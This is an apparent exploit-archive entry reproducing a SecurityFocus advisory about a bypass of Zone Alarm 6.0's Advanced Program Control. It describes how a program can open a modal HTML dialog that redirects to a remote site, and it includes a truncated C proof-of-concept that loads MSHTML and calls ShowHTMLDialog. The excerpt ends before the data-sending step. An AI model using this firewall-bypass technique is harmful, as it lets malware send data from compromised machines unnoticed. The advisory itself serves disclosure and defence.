Zone Alarm 6.0 Advance Program Control Bypass Weaknes


                                                source: http://www.securityfocus.com/bid/15347/info

Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.

Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.

This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.

It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet.

BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT(&#34;MSHTML.DLL&#34;));

if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;

// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT(&#34;ShowHTMLDialog&#34;));

// Invoke the html file containing the data to be sent via http
